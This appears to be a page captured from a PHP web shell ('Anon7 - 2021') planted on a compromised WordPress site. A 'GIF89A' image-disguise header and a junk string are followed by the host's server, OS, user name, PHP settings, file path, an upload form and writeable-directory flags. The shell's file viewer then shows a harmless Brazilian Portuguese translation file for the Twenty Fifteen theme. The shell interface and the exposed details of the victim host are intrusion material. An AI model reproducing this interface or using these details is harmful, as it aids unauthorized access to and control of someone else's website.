GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/languages/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/languages/themes/twentyfifteen-pt_BR.po
# Translation of Themes - Twenty Fifteen in Portuguese (Brazil)
# This file is distributed under the same license as the Themes - Twenty Fifteen package.
msgid ""
msgstr ""
"PO-Revision-Date: 2016-12-04 18:11:06+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n > 1);\n"
"X-Generator: GlotPress/2.3.0-alpha\n"
"Language: pt_BR\n"
"Project-Id-Version: Themes - Twenty Fifteen\n"

#. Description of the plugin/theme
msgid "Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, straightforward typography is readable on a wide variety of screen sizes, and suitable for multiple languages. We designed it using a mobile-first approach, meaning your content takes center-stage, regardless of whether your visitors arrive by smartphone, tablet, laptop, or desktop computer."
msgstr "Nosso tema padrão 2015 é simples, focado em blogs e desenhado para maior clareza. A tipografia simples e direta do Twenty Fifteen é legível em uma ampla variedade de tamanhos de telas e adequada a vários idiomas. Desenvolvemos o design utilizando uma abordagem mobile-first, ou seja, seu conteúdo é o centro das atenções, não importando se seus visitantes acessam via smartphone, tablet, laptop ou um computador desktop."

#. Theme Name of the plugin/theme
msgid "Twenty Fifteen"
msgstr "Twenty Fifteen"

#. translators: %s: post title
#: inc/template-tags.php:123
msgid "Leave a comment<span class=\"screen-reader-text\"> on %s</span>"
msgstr "Deixe um comentário <span class=\"screen-reader-text\"> em %s</span>"

#: single.php:37
msgid "Previous post:"
msgstr "Post anterior:"

#: single.php:36
msgid "Previous"
msgstr "Anterior"

#: single.php:34
msgid "Next post:"
msgstr "Próximo post:"

#: single.php:33
msgid "Next"
msgstr "Seguinte"

#: search.php:18
msgid "Search Results for: %s"
msgstr "Resultados da busca por: %s"

#: inc/template-tags.php:113
msgctxt "Used before full size attachment link."
msgid "Full size"
msgstr "Tamanho original"

#: inc/template-tags.php:102
msgctxt "Used before tag names."
msgid "Tags"
msgstr "Tags"

#: inc/template-tags.php:94
msgctxt "Used before category names."
msgid "Categories"
msgstr "Categorias"

#: inc/template-tags.php:91 inc/template-tags.php:99
msgctxt "Used between list items, there is a space after the comma."
msgid ", "
msgstr ", "

#: inc/template-tags.php:85
msgctxt "Used before post author name."
msgid "Author"
msgstr "Autor"

#: inc/template-tags.php:76
msgctxt "Used before publish date."
msgid "Posted on"
msgstr "Publicado em"

#: inc/template-tags.php:55
msgctxt "Used before post format."
msgid "Format"
msgstr "Formato"

#: inc/template-tags.php:49
msgid "Featured"
msgstr "Destacado"

#: inc/template-tags.php:30
msgid "Newer Comments"
msgstr "Comentários mais recentes"

#: inc/template-tags.php:26
msgid "Older Comments"
msgstr "Comentários mais antigos"

#: inc/template-tags.php:23
msgid "Comment navigation"
msgstr "Navegação de comentários"

#: inc/customizer.php:205
msgid "Blue"
msgstr "Azul"

#: inc/customizer.php:194
msgid "Purple"
msgstr "Roxo"

#: inc/customizer.php:183
msgid "Pink"
msgstr "Rosa"

#: inc/customizer.php:172
msgid "Yellow"
msgstr "Amarelo"

#: inc/customizer.php:161
msgid "Dark"
msgstr "Escuro"

#: inc/customizer.php:150
msgid "Default"
msgstr "Padrão"

#: inc/customizer.php:75
msgid "Header and Sidebar Background Color"
msgstr "Cor de fundo do cabeçalho e barra lateral"

#: inc/customizer.php:60 inc/customizer.php:76 inc/customizer.php:81
msgid "Applied to the header on small screens and the sidebar on wide screens."
msgstr "Aplicado ao cabeçalho em telas pequenas e à barra lateral em telas widescreen."

#: inc/customizer.php:59
msgid "Header and Sidebar Text Color"
msgstr "Cor do texto do cabeçalho e da barra lateral"

#: inc/customizer.php:44
msgid "Base Color Scheme"
msgstr "Paleta de cores base"

#: inc/back-compat.php:37 inc/back-compat.php:47 inc/back-compat.php:60
msgid "Twenty Fifteen requires at least WordPress version 4.1. You are running version %s. Please upgrade and try again."
msgstr "O Twenty Fifteen necessita do WordPress versão 4.1 no mínimo. Sua versão é %s. Atualize e tente novamente."

#: image.php:84
msgctxt "Parent post link"
msgid "<span class=\"meta-nav\">Published in</span><span class=\"post-title\">%title</span>"
msgstr "<span class=\"meta-nav\">Publicado em</span><span class=\"post-title\">%title</span>"

#: image.php:24
msgid "Next Image"
msgstr "Próxima imagem"

#: image.php:24
msgid "Previous Image"
msgstr "Imagem anterior"

#: header.php:45
msgid "Menu and widgets"
msgstr "Menu e widgets"

#: header.php:26
msgid "Skip to content"
msgstr "Pular para o conteúdo"

#: functions.php:283
msgid "collapse child menu"
msgstr "fechar submenu"

#: functions.php:282
msgid "expand child menu"
msgstr "expandir submenu"

#. Translators: To add an additional character subset specific to your
#. language, translate this to 'greek', 'cyrillic', 'devanagari' or
#. 'vietnamese'. Do not translate into your own language.
#: functions.php:212
msgctxt "Add new subset (greek, cyrillic, devanagari, vietnamese)"
msgid "no-subset"
msgstr "sem subconjunto"

#. Translators: If there are characters in your language that are not supported
#. by Inconsolata, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:204
msgctxt "Inconsolata font: on or off"
msgid "on"
msgstr "ativa"

#. Translators: If there are characters in your language that are not supported
#. by Noto Serif, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:196
msgctxt "Noto Serif font: on or off"
msgid "on"
msgstr "ativa"

#. Translators: If there are characters in your language that are not supported
#. by Noto Sans, translate this to 'off'. Do not translate into your own
#. language.
#: functions.php:188
msgctxt "Noto Sans font: on or off"
msgid "on"
msgstr "ativa"

#: functions.php:162
msgid "Add widgets here to appear in your sidebar."
msgstr "Adicione widgets aqui para que apareçam em sua barra lateral."

#: functions.php:160
msgid "Widget Area"
msgstr "Área de widgets"

#: functions.php:86
msgid "Social Links Menu"
msgstr "Menu de links sociais"

#: functions.php:85
msgid "Primary Menu"
msgstr "Menu principal"

#: footer.php:25
msgid "Proudly powered by %s"
msgstr "Orgulhosamente mantido com %s"

#. #-#-#-#-#  twentyfifteen.pot (Twenty Fifteen 1.7)  #-#-#-#-#
#. Author URI of the plugin/theme
#: footer.php:25
msgid "https://wordpress.org/"
msgstr "https://br.wordpress.org/"

#: content-none.php:31
msgid "It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help."
msgstr "Parece que não foi possível encontrar o que você está buscando. Talvez fazer uma pesquisa possa ajudar."

#: content-none.php:26
msgid "Sorry, but nothing matched your search terms. Please try again with some different keywords."
msgstr "Nada foi encontrado com os termos da sua pesquisa. Tente novamente com algumas palavras-chaves diferentes."

#: content-none.php:22
msgid "Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
msgstr "Pronto para publicar seu primeiro post? <a href=\"%1$s\">Comece aqui</a>."

#: content-none.php:15
msgid "Nothing Found"
msgstr "Nada encontrado"

#: content-link.php:56 content-page.php:35 content-search.php:28
#: content-search.php:33 content.php:57 image.php:71
msgid "Edit"
msgstr "Editar"

#: content-link.php:36 content-page.php:25 content.php:38 image.php:59
msgid "Pages:"
msgstr "Páginas:"

#. translators: %s: Name of current post
#: content-link.php:31 content.php:33 inc/template-tags.php:238
msgid "Continue reading %s"
msgstr "Continuar lendo %s"

#: comments.php:53
msgid "Comments are closed."
msgstr "Os comentários estão fechados."

#: comments.php:28
msgctxt "comments title"
msgid "One thought on &ldquo;%2$s&rdquo;"
msgid_plural "%1$s thoughts on &ldquo;%2$s&rdquo;"
msgstr[0] "Um comentário sobre &ldquo;%2$s&rdquo;"
msgstr[1] "%1$s comentários sobre &ldquo;%2$s&rdquo;"

#: author-bio.php:34
msgid "View all posts by %s"
msgstr "Ver todos os posts de %s"

#: author-bio.php:12
msgid "Published by"
msgstr "Publicado por"

#: archive.php:51 content-link.php:40 content-page.php:29 content.php:42
#: image.php:63 index.php:48 search.php:40
msgid "Page"
msgstr "Página"

#: archive.php:50 index.php:47 search.php:39
msgid "Next page"
msgstr "Próxima página"

#: archive.php:49 index.php:46 search.php:38
msgid "Previous page"
msgstr "Página anterior"

#: 404.php:21
msgid "It looks like nothing was found at this location. Maybe try a search?"
msgstr "Parece que nada foi encontrado neste endereço. Que tal tentar fazer uma pesquisa?"

#: 404.php:17
msgid "Oops! That page can&rsquo;t be found."
msgstr "Ops! Essa página não pode ser encontrada."

#. Author of the plugin/theme
msgid "the WordPress team"
msgstr "a equipe do WordPress"

#. Theme URI of the plugin/theme
msgid "https://wordpress.org/themes/twentyfifteen/"
msgstr "https://wordpress.org/themes/twentyfifteen/"

Anon7 - 2021